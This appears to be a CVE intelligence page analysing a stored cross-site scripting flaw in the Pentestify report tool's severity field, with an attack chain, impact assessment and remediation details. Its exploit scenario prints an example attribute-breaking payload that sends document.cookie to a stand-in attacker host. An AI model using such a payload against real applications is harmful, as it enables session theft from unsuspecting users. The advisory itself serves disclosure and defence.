Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Pentestify as low-privilege user
-
DeliveryCraft malicious severity field payload with attribute-breaking markup
-
ExploitSubmit finding via HTTP POST to findings API
-
InstallPayload stored verbatim in application database
-
C2Victim authenticated user opens findings list or report preview
-
ExecuteFrontend interpolates unescaped severity value into class and style attributes
-
ImpactInjected JavaScript executes in victim's browser under application origin
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated Pentestify account with the ability to create or edit a finding - this corresponds to any user with standard contributor-level access to the application, not necessarily an administrator. The severity field must accept free-form string input on write, which was the case in all versions before the patch. A separate authenticated user must subsequently view the affected finding in either the findings list or the report preview renderer, providing the passive interaction that triggers JavaScript execution. Limiting factors: unauthenticated exploitation is not possible (PR:L confirmed by CVSS 4.0 vector); a victim user must actively navigate to a view that renders the findings list or report (UI:P); and the attack is scoped to the application's browser origin, so impact is bounded by what the victim's session can access within Pentestify. No special server-side configuration or non-default deployment mode is required beyond having the application running and accessible - the vulnerability exists in the default finding submission and rendering workflow. |
| Impact | The CVSS 4.0 base score of 5.1 (Medium) correctly reflects the network attack vector, low privilege requirement, and passive victim-interaction dependency - a realistic profile for stored XSS in a collaborative reporting tool. Real-world risk is moderate but contextually elevated: Pentestify users are security professionals who share report access within teams, so the victim pool, though bounded and authenticated, frequently includes personnel with access to sensitive pentest engagement data including client credentials, network maps, and vulnerability details. A successful session-token theft or credential-harvest XSS in this context can yield disproportionate downstream impact relative to the base score. The stored nature amplifies the risk surface, since a single injected finding affects every subsequent viewer without further attacker interaction. Even a mid-sized penetration testing team in leszno relying on Pentestify for client deliverables should treat this as an urgent upgrade priority, because the collateral exposure of client-sensitive report data substantially raises the effective risk beyond the numeric score. No EPSS data was supplied and no CISA KEV listing is present, so widespread automated exploitation is unconfirmed; however, exploitation complexity is low for any insider threat or compromised account - standard HTTP POST with a crafted field value suffices. The PR:L CVSS signal confirms that unauthenticated exploitation is not possible, which is the primary limiting factor in this risk profile. |
| Exploit ScenarioDerived | An authenticated Pentestify user submits a new finding with a crafted severity value such as 'crit" onmouseover="fetch(attacker.example/exfil?c='+document.cookie+')"' via a standard HTTP request to the findings API; because the backend applied no validation prior to the fix, this string is stored verbatim in the database. When any other authenticated team member subsequently opens the findings list or navigates to the report preview, the frontend constructs the DOM using severity-${f.severity} and renders the injected attribute, executing the attacker's JavaScript in the application origin and potentially exfiltrating session tokens or performing actions on behalf of the victim. No public exploit code has been identified at time of analysis, but the attack requires only a browser and authenticated access, making it trivially reproducible by any security researcher or malicious insider. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 11, 2026
Stored cross-site scripting in Pentestify's finding renderer allows any authenticated user with finding-creation privileges to inject arbitrary JavaScript into the application by storing malicious markup in a finding's severity field. Because the frontend JavaScript (js/app.js) interpolates the severity value directly into HTML class attributes and CSS custom property references without sanitization, every subsequent authenticated user who views an affected findings list or report preview executes the injected script in the application's browser origin. No public exploit code has been identified at time of analysis, and no CISA KEV listing was provided; however, the stored nature of the flaw means a single malicious payload persists and silently affects all future report viewers until the database is sanitized.
RemediationAI
Upgrade Pentestify to version 2.3.2 or later, available at https://github.com/ccyl13/Pentestify/releases/tag/v2.3.2; this release incorporates commit 8e81053, which applies the fix at both the server and client layers. The backend fix (backend/schemas.py) adds a Pydantic @field_validator that rejects any severity value not in the hardcoded allowlist, replacing invalid values with 'info' on ingest - this ensures new findings cannot store malicious payloads. The frontend fix (js/app.js) adds a safeSeverity() allowlist guard applied before every DOM interpolation, which neutralizes previously stored malicious values on render even if the database has not been cleaned. If an immediate upgrade is not feasible, access to finding creation and editing should be restricted to the minimum necessary set of trusted users to reduce the attack surface; this does not remediate already-stored payloads. There are no generic network-level mitigations applicable to a stored XSS in an authenticated web application. The Secur0 advisory is available at https://secur0.com/en/cna/cve-list/cve-2026-19434-stored-xss-in-pentestify-finding-severity-field.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Pentestify (CPE: cpe:2.3:a:maalfer:pentestify:*:*:*:*:*:*:*:*) is a pentest report management tool built with a Python backend using Pydantic models and a JavaScript frontend. The root cause class is CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting), specifically the stored variant. Prior to the fix, the Pydantic FindingBase model in backend/schemas.py applied no validation to the severity field, allowing arbitrary strings to reach the database. On retrieval, js/app.js interpolated the raw value directly into template literals constructing HTML: severity-${f.severity} in class attributes and var(--severity-${f.severity}) in inline style strings. Attribute-context injection is particularly dangerous because standard HTML-entity escaping (which the app did implement for other fields via escapeHTML) does not prevent an attacker from breaking out of an unquoted or improperly delimited attribute token to introduce event handlers. The fix applied an allowlist at both layers: a Pydantic @field_validator in backend/schemas.py restricts accepted values to the set ('crit', 'high', 'med', 'low', 'info') on write, and a safeSeverity() function in js/app.js applies the same allowlist on read before any DOM interpolation, neutralizing already-stored malicious values.
Know when Pentestify gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Network-delivered stored XSS requiring low-privilege write access and victim page-view; scope changes to victim browser session with limited C and I impact.
Primary rating from Vendor (Secur0).
CVSS VectorVendor: Secur0
DescriptionCVE.org
Cross-site Scripting in the finding renderer in maalfer Pentestify before 2.3.1 allows authenticated users to execute arbitrary JavaScript in the application origin via HTML markup stored in a finding's severity field, which the frontend interpolates unescaped into class and style attributes when rendering the report.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Pentestify
View allStored cross-site scripting in maalfer Pentestify before 1.1.0 allows an authenticated attacker to inject arbitrary Java
Server-Side Request Forgery in Pentestify's PDF export pipeline allows authenticated users to induce the server-side hea
Stored cross-site scripting in the Markdown renderer of maalfer Pentestify before v2.3.2 allows authenticated users to i
Stored XSS in Pentestify's user management component (all versions before 1.1.1) enables an authenticated attacker to ex
CSS sanitizer bypass in maalfer Pentestify 1.2.0-2.3.2 allows an authenticated low-privilege user to inject CSS that vic
EUVD-2026-56147
GHSA-j9f7-pmc4-vm2c
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB